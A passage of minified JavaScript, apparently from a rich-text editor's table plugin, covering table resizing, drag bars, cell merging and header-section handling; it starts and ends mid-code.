"+n+" fields was not a string.")})}("required",o),w(t=Tu(o),function(e,n){return n<t.length-1&&e===t[n+1]}).each(function(e){throw new Error("The field: "+e+" occurs more than once in the combined fields: ["+t.join(", ")+"].")}),function(n){var t=Ue(n);z(o,function(e){return y(t,e)})||function(e,n){throw new Error("All required keys ("+Tu(e).join(", ")+") were not specified. Specified keys were: "+Tu(n).join(", ")+".")}(o,t),r(o,t);var e=k(o,function(e){return!u.validate(n[e],e)});return 0<e.length&&function(e,n){throw new Error("All values need to be of type: "+n+". Keys ("+Tu(e).join(", ")+") were not.")}(e,u.label),n}}(xu,e,{validate:c,label:"function"})}function Du(){var u,i,e={onEvent:E,reset:E,events:Su({move:Cu(["info"])}).registry},n=(u=q.none(),{onEvent:function(e,o){o.extract(e).each(function(e){var n=o,t=e,r=u.map(function(e){return n.compare(e,t)});u=q.some(t),r.each(function(e){i.trigger.move(e)})})},reset:function(){u=q.none()},events:(i=Su({move:Cu(["info"])})).registry}),t=e;return{on:function(){t.reset(),t=n},off:function(){t.reset(),t=e},isOn:function(){return t===n},onEvent:function(e,n){t.onEvent(e,n)},events:n.events}}function Ou(e){function n(){return e.stopPropagation()}function t(){return e.preventDefault()}var r,o,u=Ve.fromDom(function(e){if(wn()&&l(e.target)){var n=Ve.fromDom(e.target);if(gn(n)&&Cn(n)&&e.composed&&e.composedPath){var t=e.composedPath();if(t)return j(t)}}return q.from(e.target)}(e).getOr(e.target)),i=(r=t,o=n,function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];return r(o.apply(null,e))});return{target:u,x:e.clientX,y:e.clientY,stop:n,prevent:t,kill:i,raw:e}}function Au(e,n,t){return o=n,u=!1,i=sa,c=t,l=function(e){i(e)&&c(Ou(e))},(r=e).dom.addEventListener(o,l,u),{unbind:P(fa,r,o,l,u)};var r,o,u,i,c,l}function ku(e){return void 0!==e.dom.classList}function Iu(e,n){return o=n,Mn(e,t="class",(void 0===(r=Pn(e,t))||""===r?[]:r.split(" ")).concat([o]).join(" ")),1;var t,r,o}function Bu(e,n){ku(e)?e.dom.classList.add(n):Iu(e,n)}function Mu(e,n){return ku(e)&&e.dom.classList.contains(n)}function Eu(e){var n=e.replace(/\./g,"-");return{resolve:function(e){return n+"-"+e}}}function Pu(e){return In(e,"[contenteditable]")}function Nu(e,n){return void 0===n&&(n=!1),!He().browser.isIE()&&Sn(e)?e.dom.isContentEditable:Pu(e).fold(C(n),function(e){return"true"===pa(e)})}function zu(e){A(dn(e.parent(),"."+ha),Yt)}function Lu(t,e,r){var o=t.origin();A(e,function(e){e.each(function(e){var n=r(o,e);Bu(n,ha),Xt(t.parent(),n)})})}function _u(e,n,t,r,o){var u,i,c,l,a,f=Dr(t),s=n.isResizable,m=0<r.length?co.positions(r,t):[],d=0<m.length?(u=s,N(e.all,function(e,n){return u(e.element)?[n]:[]})):[],g=k(m,function(e,n){return R(d,function(e){return n===e})});i=n,c=g,l=f,a=wr(t),Lu(i,c,function(e,n){var t,r,o,u,i,c=(t=n.row,r=l.left-e.left,o=n.y-e.top,u=a,qn(i=Ve.fromTag("div"),{position:"absolute",left:r+"px",top:o-3.5+"px",height:"7px",width:u+"px"}),En(i,{"data-row":t,role:"presentation"}),i);return Bu(c,va),c});var p,b,h,v,w,y,C,S=0<o.length?ao.positions(o,t):[],T=0<S.length?(b=s,h=[],D((p=e).grid.columns,function(e){$t.getColumnAt(p,e).map(function(e){return e.element}).forall(b)&&h.push(e)}),k(h,function(n){return z($t.filterItems(p,function(e){return e.column===n}),function(e){return b(e.element)})})):[],x=k(S,function(e,n){return R(T,function(e){return n===e})});v=n,w=x,y=f,C=xr(t),Lu(v,w,function(e,n){var t,r,o,u,i,c=(t=n.col,r=n.x-e.left,o=y.top-e.top,u=C,qn(i=Ve.fromTag("div"),{position:"absolute",left:r-3.5+"px",top:o+"px",height:u+"px",width:"7px"}),En(i,{"data-column":t,role:"presentation"}),i);return Bu(c,wa),c})}function Wu(e,n){var t;zu(e),e.isResizable(n)&&_u(t=$t.fromTable(n),e,n,Cr(t),yr(t))}function ju(e,n){A(dn(e.parent(),"."+ha),n)}function Fu(e){ju(e,function(e){Vn(e,"display","none")})}function Hu(e){ju(e,function(e){Vn(e,"display","block")})}function Vu(o){function e(e,n){return q.from(Pn(e,n))}var n,t,r,u,i,c,l=(u=Su({drag:Cu(["xDelta","yDelta","target"])}),i=q.none(),(c={mutate:function(e,n){r.trigger.drag(e,n)},events:(r=Su({drag:Cu(["xDelta","yDelta"])})).registry}).events.drag.bind(function(n){i.each(function(e){u.trigger.drag(n.xDelta,n.yDelta,e)})}),{assign:function(e){i=q.some(e)},get:function(){return i},mutate:c.mutate,events:u.registry}),a=(t=void 0!==(n={}).mode?n.mode:ga,function(n,t,e){function r(){m.stop(),l.isOn()&&(l.off(),c.trigger.stop())}var o,u,i=!1,c=Su({start:Cu([]),stop:Cu([])}),l=Du(),a=(o=r,u=null,{cancel:f,throttle:function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];f(),u=setTimeout(function(){u=null,o.apply(null,e)},200)}});function f(){h(u)||(clearTimeout(u),u=null)}function s(t){return function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];i&&t.apply(null,e)}}l.events.move.bind(function(e){t.mutate(n,e.info)});var m=t.sink(aa({forceDrop:r,drop:s(r),move:s(function(e){a.cancel(),l.onEvent(e,t)}),delayDrop:s(a.throttle)}),e);return{element:m.element,go:function(e){m.start(e),l.on(),c.trigger.start()},on:function(){i=!0},off:function(){i=!1},destroy:function(){m.destroy()},events:c.registry}}(l,t,n)),f=q.none();function s(e,n){return Qn(e,n)-Kn(e,"data-initial-"+n,0)}function m(e,n){b.trigger.startAdjust(),l.assign(e),Mn(e,"data-initial-"+n,Qn(e,n)),Bu(e,ya),Vn(e,"opacity","0.2"),a.go(o.parent())}function d(e){return ce(e,o.view())}l.events.drag.bind(function(t){e(t.target,"data-row").each(function(e){var n=Qn(t.target,"top");Vn(t.target,"top",n+t.yDelta+"px")}),e(t.target,"data-column").each(function(e){var n=Qn(t.target,"left");Vn(t.target,"left",n+t.xDelta+"px")})}),a.events.stop.bind(function(){l.get().each(function(r){f.each(function(t){e(r,"data-row").each(function(e){var n=s(r,"top");Wt(r,"data-initial-top"),b.trigger.adjustHeight(t,n,parseInt(e,10))}),e(r,"data-column").each(function(e){var n=s(r,"left");Wt(r,"data-initial-left"),b.trigger.adjustWidth(t,n,parseInt(e,10))}),Wu(o,t)})})});var g=Au(o.parent(),"mousedown",function(e){Mu(e.target,va)&&m(e.target,"top"),Mu(e.target,wa)&&m(e.target,"left")}),p=Au(o.view(),"mouseover",function(e){In(e.target,"table",d).filter(Nu).fold(function(){Sn(e.target)&&zu(o)},function(e){f=q.some(e),Wu(o,e)})}),b=Su({adjustHeight:Cu(["table","delta","row"]),adjustWidth:Cu(["table","delta","column"]),startAdjust:Cu([])});return{destroy:function(){g.unbind(),p.unbind(),a.destroy(),zu(o)},refresh:function(e){Wu(o,e)},on:a.on,off:a.off,hideBars:P(Fu,o),showBars:P(Hu,o),events:b.registry}}function qu(e,n){return e.fire("newrow",{node:n})}function Uu(e,n){return e.fire("newcell",{node:n})}function Gu(e,n,t){e.fire("TableModified",K(K({},t),{table:n}))}function $u(e){return e.getParam("table_sizing_mode","auto")}function Ku(e){return e.getParam("table_responsive_width")}function Xu(e){return e.getParam("table_border_widths",Ra,"array")}function Yu(e){return e.getParam("table_border_styles",Da,"array")}function Ju(e){return e.getParam("table_default_attributes",Oa,"object")}function Qu(e){return e.getParam("table_default_styles",function(e){var n;if(ka(e)){var t=e.dom,r=null!==(n=t.getParent(e.selection.getStart(),t.isBlock))&&void 0!==n?n:e.getBody(),o=Qr(Ve.fromDom(r));return K(K({},xa),{width:o+"px"})}return Ia(e)?se(xa,function(e,n){return"width"!==n}):xa}(e),"object")}function Zu(e){return e.getParam("table_cell_advtab",!0,"boolean")}function ei(e){return e.getParam("table_row_advtab",!0,"boolean")}function ni(e){return e.getParam("table_advtab",!0,"boolean")}function ti(e){return e.getParam("table_style_by_css",!1,"boolean")}function ri(e){return e.getParam("table_cell_class_list",[],"array")}function oi(e){return e.getParam("table_class_list",[],"array")}function ui(e){return"relative"===$u(e)||!0===Ku(e)}function ii(e){var n="section",t=e.getParam("table_header_type",n,"string");return y(["section","cells","sectionCells","auto"],t)?t:n}function ci(e){var n=e.getParam("table_column_resizing",Aa,"string");return w(["preservetable","resizetable"],function(e){return e===n}).getOr(Aa)}function li(e){return"preservetable"===ci(e)}function ai(e){return"resizetable"===ci(e)}function fi(e){var n=e.getParam("table_clone_elements");return T(n)?q.some(n.split(/[ ,]/)):Array.isArray(n)?q.some(n):q.none()}function si(e){return e.getParam("table_background_color_map",[],"array")}function mi(e){return e.getParam("table_border_color_map",[],"array")}function di(e,n){return(ui(e)?Ul:ka(e)?ql:Vl)(n)}function gi(e){Wt(e,"width")}function pi(e){return"false"!==Pn(e,"data-mce-resize")}function bi(p){function m(e){return"TABLE"===e.nodeName}function b(e){return di(p,e)}function h(){return(li(p)?gu:du)()}var d,g,v=q.none(),w=q.none(),y=q.none();return p.on("init",function(){var e,n,t,r,o,u,i,c,l,a,m,f,s,d,g=(n=pi,(e=p).inline?(u=Yo(e),qn(c=Ve.fromTag("div"),{position:"static",height:"0",width:"0",padding:"0",margin:"0",border:"0"}),Xt(Tn(Ve.fromDom(document)),c),c,i=n,{parent:C(c),view:C(u),origin:C(uo(0,0)),isResizable:i}):Il(Ve.fromDom(e.getDoc()),n));y=q.some(g),o=p.getParam("object_resizing",!0),(T(o)?"table"===o:o)&&p.getParam("table_resize_bars",!0,"boolean")&&(t=h(),l=t,a=b,m=co,f=ao,s=Vu(g),d=Su({beforeResize:Cu(["table","type"]),afterResize:Cu(["table","type"]),startDrag:Cu([])}),s.events.adjustHeight.bind(function(e){var n=e.table;d.trigger.beforeResize(n,"row");var t,r,o,u,i,c,l,a,f,s=m.delta(e.delta,n);t=n,r=s,o=e.row,u=m,l=$t.fromTable(t),a=O(Mo(l,t,u,To,function(e){return e.getOrThunk(Ht)}),function(e,n){return o===n?Math.max(r+e,Ht()):e}),i=a,f=O($t.justCells(l),function(e){var n=cu(e.row,e.row+e.rowspan,i);return{element:e.element,height:n,rowspan:e.rowspan}}),A((c=a,O(l.all,function(e,n){return{element:e.element,height:c[n]}})),function(e){ho(e.element,e.height)}),A(f,function(e){ho(e.element,e.height)}),ho(t,I(a,function(e,n){return e+n},0)),d.trigger.afterResize(n,"row")}),s.events.startAdjust.bind(function(e){d.trigger.startDrag()}),s.events.adjustWidth.bind(function(e){var n=e.table;d.trigger.beforeResize(n,"col");var t=f.delta(e.delta,n),r=a(n);au(n,t,e.column,l,r),d.trigger.afterResize(n,"col")}),(r={on:s.on,off:s.off,hideBars:s.hideBars,showBars:s.showBars,destroy:s.destroy,events:d.registry}).on(),r.events.startDrag.bind(function(e){v=q.some(p.selection.getRng())}),r.events.beforeResize.bind(function(e){var n,t=e.table.dom,r=p,o=Jo(n=t),u=Qo(t),i=Pa+e.type;r.fire("ObjectResizeStart",{target:n,width:o,height:u,origin:i})}),r.events.afterResize.bind(function(e){var n,t,r,o,u,i=e.table,c=i.dom;nu(i),v.each(function(e){p.selection.setRng(e),p.focus()}),n=p,r=Jo(t=c),o=Qo(c),u=Pa+e.type,n.fire("ObjectResized",{target:t,width:r,height:o,origin:u}),p.undoManager.add()}),w=q.some(r))}),p.on("ObjectResizeStart",function(e){var n,t,r,o,u=e.target;m(u)&&(n=Ve.fromDom(u),A(p.dom.select(".mce-clonedresizable"),function(e){p.dom.addClass(e,"mce-"+ci(p)+"-columns")}),!Ml(n)&&ka(p)?Ma(n):!Bl(n)&&ui(p)&&Ba(n),El(n)&&Ae(e.origin,Pa)&&Ba(n),d=e.width,g=Ia(p)?"":(o=(t=p).dom.getStyle(r=u,"width")||t.dom.getAttrib(r,"width"),q.from(o).filter(ne).getOr("")))}),p.on("ObjectResized",function(e){var n,t,r,o,u,i,c,l,a,f,s=e.target;m(s)&&(n=Ve.fromDom(s),t=e.origin,Ae(t,"corner-")&&(r=n,o=e.width,f=ee(t,"e"),""===g&&Ba(r),o!==d&&""!==g?(Vn(r,"width",g),u=h(),i=b(r),c=li(p)||f?yu(r).columns-1:0,au(r,o-d,c,u,i)):/^(\d+(\.\d+)?)%$/.test(g)&&Vn(r,"width",o*parseFloat(g.replace("%",""))/d+"%"),/^(\d+(\.\d+)?)px$/.test(g)&&(a=$t.fromTable(l=r),$t.hasColumns(a)||A(nt(l),function(e){Vn(e,"width",Un(e,"width")),Wt(e,"width")}))),nu(n),Gu(p,n.dom,Ca))}),p.on("SwitchMode",function(){w.each(function(e){p.mode.isReadOnly()?e.hideBars():e.showBars()})}),{lazyResize:function(){return w},lazyWire:function(){return y.getOr(Il(Ve.fromDom(p.getBody()),pi))},destroy:function(){w.each(function(e){e.destroy()}),y.each(function(e){var n=e;p.inline&&Yt(n.parent())})}}}function hi(e,n){return{element:e,offset:n}}function vi(e,n){return(e.property().isText(n)?e.property().getText(n):e.property().children(n)).length}function wi(t,r){1===Xn(t,"colspan")&&yo(t).bind(function(e){return o=["fixed","relative","empty"],q.from(so.exec(e)).bind(function(e){var n=Number(e[1]),t=e[2],r=t;return R(o,function(e){return R(fo[e],function(e){return r===e})})?q.some({value:n,unit:t}):q.none()});var o}).each(function(e){var n=e.value/2;xo(t,n,e.unit),xo(r,n,e.unit)})}function yi(e){return z(e,function(e){return Wa(e.element)})}function Ci(e){var n="thead"===e.section,t=Ln(ja(e.cells),"th");return n||t?{type:"header",subType:n&&t?"sectionCells":n?"section":"cells"}:"tfoot"===e.section?{type:"footer"}:{type:"body"}}function Si(e,n,t){return we(t(e.element,n),!0,e.isLocked)}function Ti(e,n){return e.section!==n?ye(e.element,e.cells,n,e.isNew):e}function xi(){return{transformRow:Ti,transformCell:function(e,n,t){var r,o,u=t(e.element,n);return we("td"!==Ye(u)?(o=sr(r=u,"td"),Rt(r,o),It(o,ln(r)),Yt(r),o):u,e.isNew,e.isLocked)}}}function Ri(){return{transformRow:Ti,transformCell:Si}}function Di(){return{transformRow:function(e,n){return Ti(e,"thead"===n?"tbody":n)},transformCell:Si}}function Oi(e,n,t,r){t===r?Wt(e,n):Mn(e,n,t)}function Ai(e,n,t){F(mn(e,n)).fold(function(){return Ot(e,t)},function(e){return Dt(e,t)})}function ki(u,e){function t(e,n){var t,r,o;It((Bt(o=An(t=u,r=n).getOrThunk(function(){var e=Ve.fromTag(r,nn(t).dom);return"thead"===r?Ai(t,"caption,colgroup",e):"colgroup"===r?Ai(t,"caption",e):Xt(t,e),e})),o),("colgroup"===n?function(e){return N(e,function(e){return O(e.cells,function(e){return Oi(e.element,"span",e.colspan,1),e.element})})}:function(e){return O(e,function(e){e.isNew&&i.push(e.element);var n=e.element;return Bt(n),A(e.cells,function(e){e.isNew&&c.push(e.element),Oi(e.element,"colspan",e.colspan,1),Oi(e.element,"rowspan",e.rowspan,1),Xt(n,e.element)}),n})})(e))}function n(e,n){0<e.length?t(e,n):An(u,n).each(Yt)}var i=[],c=[],r=[],o=[],l=[],a=[];return A(e,function(e){switch(e.section){case"thead":r.push(e);break;case"tbody":o.push(e);break;case"tfoot":l.push(e);break;case"colgroup":a.push(e)}}),n(a,"colgroup"),n(r,"thead"),n(o,"tbody"),n(l,"tfoot"),{newRows:i,newCells:c}}function Ii(e,n){if(0===e.length)return 0;var t=e[0];return b(e,function(e){return!n(t.element,e.element)}).getOr(e.length)}function Bi(m,d){var g=O(m,function(e){return O(e.cells,v)});return O(m,function(e,s){var n=N(e.cells,function(e,n){if(!1!==g[s][n])return[];var t,r,o,u,i,c,l,a,f=(o=n,u=d,l=(t=m)[r=s],a="colgroup"===l.section,{colspan:Ii(l.cells.slice(o),u),rowspan:a?1:Ii((i=t.slice(r),c=o,O(i,function(e){return st(e,c)})),u)});return function(e,n,t,r){for(var o=e;o<e+t;o++)for(var u=n;u<n+r;u++)g[o][u]=!0}(s,n,f.rowspan,f.colspan),[{element:e.element,rowspan:f.rowspan,colspan:f.colspan,isNew:e.isNew}]});return{element:e.element,cells:n,section:e.section,isNew:e.isNew}})}function Mi(o,u,i){var c=[];A(o.colgroups,function(e){for(var n=[],t=0;t<o.grid.columns;t++){var r=$t.getColumnAt(o,t).map(function(e){return we(e.element,i,!1)}).getOrThunk(function(){return we(u.colGap(),!0,!1)});n.push(r)}c.push(ye(e.element,n,"colgroup",i))});for(var e=0;e<o.grid.rows;e++){for(var n=[],t=0;t<o.grid.columns;t++){var r=$t.getAt(o,e,t).map(function(e){return we(e.element,i,e.isLocked)}).getOrThunk(function(){return we(u.gap(),!0,!1)});n.push(r)}var l=o.all[e],a=ye(l.element,n,l.section,i);c.push(a)}return c}function Ei(e){return Bi(e,ce)}function Pi(e,n){return H(e.all,function(e){return w(e.cells,function(e){return ce(n,e.element)})})}function Ni(n,e,t){var r=_n(O(e.selection,function(e){return et(e).bind(function(e){return Pi(n,e)}).filter(t)}));return jn(0<r.length,r)}function zi(f,n,s,m,d){return function(o,u,e,i,c){var l=$t.fromTable(u),a=q.from(null==c?void 0:c.section).getOrThunk(Pl);return n(l,e).map(function(e){var n=Mi(l,i,!1),t=f(n,e,ce,d(i),a),r=ht(t.grid);return{info:e,grid:Ei(t.grid),cursor:t.cursor,lockedColumns:r}}).bind(function(e){var n=ki(u,e.grid),t=q.from(null==c?void 0:c.sizing).getOrThunk(function(){return Vl(u)}),r=q.from(null==c?void 0:c.resize).getOrThunk(gu);return s(u,e.grid,e.info,{sizing:t,resize:r,section:a}),m(u),Wu(o,u),Wt(u,Gt),0<e.lockedColumns.length&&Mn(u,Gt,e.lockedColumns.join(",")),q.some({cursor:e.cursor,newRows:n.newRows,newCells:n.newCells})})}}function Li(e,n){return Ni(e,n,x).map(function(e){return{cells:e,generators:n.generators,clipboard:n.clipboard}})}function _i(e,n){return Ni(e,n,x)}function Wi(e,n){return Ni(e,n,function(e){return!e.isLocked})}function ji(n,e){return z(e,function(e){return Pi(n,e).exists(function(e){return!e.isLocked})})}function Fi(n,e){return e.mergable.filter(function(e){return ji(n,e.cells)})}function Hi(n,e){return e.unmergable.filter(function(e){return ji(n,e)})}function Vi(e,n,t,r){for(var o=gt(e).rows,u=!0,i=0;i<o.length;i++)for(var c=0;c<dt(o[0]);c++){var l=o[i],a=st(l,c),f=t(a.element,n);!0===f&&!1===u?ft(l,c,we(r(),!0,a.isLocked)):!0===f&&(u=!1)}return e}function qi(e,t,i,c){var n,r,l=gt(e).rows;return 0<t&&t<l.length&&(n=l[t-1].cells,r=i,A(B(n,function(e,n){return R(e,function(e){return r(e.element,n.element)})?e:e.concat([n])},[]),function(e){for(var o=q.none(),u=t;u<l.length;u++)for(var n=0;n<dt(l[0]);n++)!function(n){var t=l[u],r=st(t,n);i(r.element,e.element)&&(o=o.isNone()?q.some(c()):o).each(function(e){ft(t,n,we(e,!0,r.isLocked))})}(n)})),e}function Ui(e,n){return{rowDelta:0,colDelta:dt(e[0])-dt(n[0])}}function Gi(e,n){return{rowDelta:e.length-n.length,colDelta:0}}function $i(e,n,t,r){var o="colgroup"===n.section?t.col:t.cell;return D(e,function(e){return we(o(),!0,r(e))})}function Ki(e,n,r,o){var u=e[e.length-1];return e.concat(D(n,function(){var e="colgroup"===u.section?r.colgroup:r.row,n=pt(u,e,S),t=$i(n.cells.length,n,r,function(e){return Ke(o,e.toString())});return Ut(n,t)}))}function Xi(e,t,r,o){return O(e,function(e){var n=$i(t,e,r,v);return lt(e,o,n)})}function Yi(e,n,t){var r=n.colDelta<0?Xi:S,o=n.rowDelta<0?Ki:S,u=ht(e),i=dt(e[0]),c=R(u,function(e){return e===i-1}),l=r(e,Math.abs(n.colDelta),t,c?i-1:i),a=ht(l);return o(l,Math.abs(n.rowDelta),t,L(a,x))}function Ji(n,t,e){return k(e,function(e){return e>=n.column&&e<=dt(t[0])+n.column})}function Qi(e,u,n,i,c){var t,r,o,l=ht(u),a=(t=e,r=l,o=dt(u[0]),{row:gt(u).cols.length+t.row,column:w(D(o-t.column,function(e){return e+t.column}),function(n){return z(r,function(e){return e!==n})}).getOr(o-1)}),f=gt(n).rows,s=Ji(a,f,l);return function(e,n,t){if(e.row>=n.length||e.column>dt(n[0]))return Ga.error("invalid start address out of table bounds, row: "+e.row+", column: "+e.column);var r=n.slice(e.row),o=r[0].cells.slice(e.column),u=dt(t[0]),i=t.length;return Ga.value({rowDelta:r.length-i,colDelta:o.length-u})}(a,u,f).map(function(e){var n=K(K({},e),{colDelta:e.colDelta-s.length}),t=Yi(u,n,i),r=ht(t),o=Ji(a,f,r);return function(e,n,t,r,o,u){for(var i,c,l,a,f,s=e.row,m=e.column,d=s+t.length,g=m+dt(t[0])+u.length,p=L(u,x),b=s;b<d;b++)for(var h,v,w,y=0,C=m;C<g;C++)p[C]?y++:(l=C,a=void 0,a=P(o,st((i=n)[c=b],l).element),f=i[c],1<i.length&&1<dt(f)&&(0<l&&a(mt(f,l-1))||l<f.cells.length-1&&a(mt(f,l+1))||0<c&&a(mt(i[c-1],l))||c<i.length-1&&a(mt(i[c+1],l)))&&Vi(n,mt(n[b],C),o,r.cell),v=(h=st(t[b-s],C-m-y)).element,w=r.replace(v),ft(n[b],C,we(w,!0,h.isLocked)));return n}(a,t,f,i,c,o)})}function Zi(t,e,n,r,o){var u=t,i=o,c=r.cell;0<u&&u<e[0].cells.length&&A(e,function(e){var n=e.cells[u-1],t=e.cells[u];i(t.element,n.element)&&ft(e,u,we(c(),!0,t.isLocked))});var l=Yi(n,Gi(n,e),r);return O(Yi(e,Gi(e,l),r),function(e,n){return lt(e,t,l[n].cells)})}function ec(e,n,t,r,o){qi(n,e,o,r.cell);var u,i,c=ht(n),l=Ui(n,t),a=Yi(n,K(K({},l),{colDelta:l.colDelta-c.length}),r),f=gt(a),s=f.cols,m=f.rows,d=ht(a),g=Ui(t,n),p=K(K({},g),{colDelta:g.colDelta+d.length}),b=Yi((u=r,i=d,O(t,function(t){return B(i,function(e,n){return at(e,n,$i(1,t,u,x)[0])},t)})),p,r);return s.concat(m.slice(0,e)).concat(b).concat(m.slice(e,m.length))}function nc(e,t,n,r,o){var u,i,c,l,a=gt(e),f=a.rows,s=a.cols,m=f.slice(0,t),d=f.slice(t),g=(u=f[n],i=function(e,n){return 0<t&&t<f.length&&r(mt(f[t-1],n),mt(f[t],n))?st(f[t],n):we(o(e.element,r),!0,e.isLocked)},c=r,l=o,pt(u,function(e){return l(e,c)},i));return s.concat(m).concat([g]).concat(d)}function tc(e,u,i,c,l){return O(e,function(e){var n,t,r=0<u&&u<dt(e)&&c(mt(e,u-1),mt(e,u)),o=(n=e.section,t=l,"colgroup"!==n&&r?st(e,u):we(t(st(e,i).element,c),!0,!1));return at(e,u,o)})}function rc(e,n,t,r){return void 0!==mt((u=e)[i=n],t)&&0<i&&r(mt(u[i-1],t),mt(u[i],t))||(o=e[n],0<t&&r(mt(o,t-1),mt(o,t)));var o,u,i}function oc(e,n,t,r){function o(e){return("row"===e?Jn:Yn)(n)?e+"group":e}return e?Wa(n)?o(t):null:r&&Wa(n)?o("row"===t?"col":"row"):null}function uc(e,n,t){return we(t(e.element,n),!0,e.isLocked)}function ic(e,u,i,c,l,a,f){return O(e,function(e,o){return t=function(e,n){if(t=e,R(u,function(e){return i(t.element,e.element)})){var r=f(e,o,n)?l(e,i,c):e;return a(r,o,n).each(function(e){var t=r.element;ae({scope:q.from(e)},function(e,n){e.fold(function(){Wt(t,n)},function(e){Bn(t.dom,n,e)})})}),r}return e;var t},r=O((n=e).cells,t),ye(n.element,r,n.section,n.isNew);var n,t,r})}function cc(t,r,o){return N(t,function(e,n){return rc(t,n,r,o)?[]:[st(e,r)]})}function lc(e,n,t,r,o){var u,i,c,l,a=gt(e).rows,f=N(n,function(e){return cc(a,e,r)}),s=O(e,function(e){return yi(e.cells)}),m=(u=f,z(i=s,S)&&yi(u)?x:function(e,n,t){return!("th"===Ye(e.element)&&i[n])}),d=(c=t,l=s,function(e,n){return q.some(oc(c,e.element,"row",l[n]))});return ic(e,f,r,o,uc,d,m)}function ac(e,n,t,r){var o=gt(e).rows;return ic(e,O(n,function(e){return st(o[e.row],e.column)}),t,r,uc,q.none,x)}function fc(e){return B(e,function(e,n){return R(e,function(e){return e.column===n.column})?e:e.concat([n])},[]).sort(function(e,n){return e.column-n.column})}function sc(e){return"tr"===Ye(e)||Ka(e)}function mc(e){return{element:e,colspan:Kn(e,"colspan",1),rowspan:Kn(e,"rowspan",1)}}function dc(e){return Nn(e,"scope").map(function(e){return e.substr(0,3)})}function gc(e){return n=e,t=Ya.property().name(n),y(Xa,t);var n,t}function pc(e){return n=e,y(["ol","ul"],Ya.property().name(n));var n}function bc(e){function u(e){return"br"===Ye(e)}function t(o){return jo(o).bind(function(t){var r=cn(t).map(function(e){return!!gc(e)||(n=e,!!y(["br","img","hr","input"],Ya.property().name(n))&&"img"!==Ye(e));var n}).getOr(!1);return rn(t).map(function(e){return!0===r||"li"===Ye(n=e)||Dn(n,pc).isSome()||u(t)||gc(e)&&!ce(o,e)?[]:[Ve.fromTag("br")];var n})}).getOr([])}var n,r=0===(n=N(e,function(e){var n=ln(e);return z(n,function(e){return u(e)||pn(e)&&0===Et(e).trim().length})?[]:n.concat(t(e))})).length?[Ve.fromTag("br")]:n;Bt(e[0]),It(e[0],r)}function hc(e){return Nu(e,!0)}function vc(e){0===nt(e).length&&Yt(e)}function wc(e,n){return{grid:e,cursor:n}}function yc(e,n,t){var r,o,u,i,c,l=(r=n,o=t,c=gt(e).rows,q.from(null===(i=null===(u=c[r])||void 0===u?void 0:u.cells[o])||void 0===i?void 0:i.element).filter(hc).orThunk(function(){return H(c,function(e){return H(e.cells,function(e){var n=e.element;return jn(hc(n),n)})})}));return wc(e,l)}function Cc(e){return B(e,function(e,n){return R(e,function(e){return e.row===n.row})?e:e.concat([n])},[]).sort(function(e,n){return e.row-n.row})}function Sc(u,i){return function(e,n,t,r,o){return yc(function(e,n,t,r,u,o,i){var c=gt(e),l=c.cols,a=c.rows,f=a[n[0]],s=N(n,function(e){return o=u,N((t=a)[r=e].cells,function(e,n){return rc(t,r,n,o)?[]:[e]});var t,r,o}),m=O(f.cells,function(e,n){return yi(cc(a,n,u))}),d=X([],a,!0);A(n,function(e){d[e]=i.transformRow(a[e],t)});var g,p,b,h,v=l.concat(d),w=(g=f,z(p=m,S)&&yi(g.cells)?x:function(e,n,t){return!("th"===Ye(e.element)&&p[t])}),y=(b=r,h=m,function(e,n,t){return q.some(oc(b,e.element,"col",h[t]))});return ic(v,s,u,o,i.transformCell,y,w)}(e,O(Cc(n),function(e){return e.row}),u,i,t,r.replaceOrInit,o),n[0].row,n[0].column)}}function Tc(e,n,t){var r,o=(r=t.section,ut(e,function(){return r}));return Mi($t.generate(o),n,!0)}function xc(e,n,t,r){var o=r.sizing,u=$t.generate(n);lu(u,o.getWidths(u,o),o)}function Rc(e,n,t,r){var o=t,u=r.sizing,i=r.resize,c=$t.generate(n),l=u.getWidths(c,u),a=u.pixelWidth(),f=i.calcRedestributedWidths(l,a,o.pixelDelta,u.isRelative),s=f.newSizes,m=f.delta;lu(c,s,u),u.adjustTableWidth(m)}function Dc(e,n){return R(n,function(e){return 0===e.column&&e.isLocked})}function Oc(n,e){return R(e,function(e){return e.column+e.colspan>=n.grid.columns&&e.isLocked})}function Ac(e,n){var t=yr(e);return B(fc(n),function(e,n){return e+t[n.column].map(wr).getOr(0)},0)}function kc(t){return function(n,e){return _i(n,e).filter(function(e){return!(t?Dc:Oc)(n,e)}).map(function(e){return{details:e,pixelDelta:Ac(n,e)}})}}function Ic(t){return function(n,e){return Li(n,e).filter(function(e){return!(t?Dc:Oc)(n,e.cells)})}}function Bc(e,n){var u=$t.fromTable(e);return _i(u,n).bind(function(e){var n=e[e.length-1],t=e[0].column,r=n.column+n.colspan,o=M(O(u.all,function(e){return k(e.cells,function(e){return e.column>=t&&e.column<r})}));return ja(o)}).getOr("")}function Mc(e,n){return _i($t.fromTable(e),n).bind(ja).getOr("")}function Ec(m,d,e){function n(e){return"table"===Ye(Yo(e))}function t(c,l,a,f,s){return function(t,e,o){void 0===o&&(o=!1),nu(t);var n=f(),r=Ve.fromDom(m.getDoc()),u=$o(a,r,g),i={sizing:di(m,t),resize:(ai(m)?du:gu)(),section:function(e){switch(ii(m)){case"section":return Fa();case"sectionCells":return Ha();case"cells":return Va();default:return function(e,n){var t;switch(H($t.fromTable(e).all,function(e){var n=Ci(e);return"header"===n.type?q.from(n.subType):q.none()}).getOr(n)){case"section":return xi();case"sectionCells":return Ri();case"cells":return Di()}}(e,"section")}}(t)};return l(t)?c(n,t,e,u,i).bind(function(e){A(e.newRows,function(e){qu(m,e.dom)}),A(e.newCells,function(e){Uu(m,e.dom)});var r,n=(r=t,e.cursor.fold(function(){return j(nt(r)).filter(Sn).map(function(e){d.clear(r);var n=m.dom.createRng();return n.selectNode(e.dom),m.selection.setRng(n),Mn(e,"data-mce-selected","1"),n})},function(e){var n=La(_a,e),t=m.dom.createRng();return t.setStart(n.element.dom,n.offset),t.setEnd(n.element.dom,n.offset),m.selection.setRng(t),d.clear(r),q.some(t)}));return Sn(t)&&(nu(t),o||Gu(m,t.dom,s)),n.map(function(e){return{rng:e,effect:s}})}):q.none()}}var 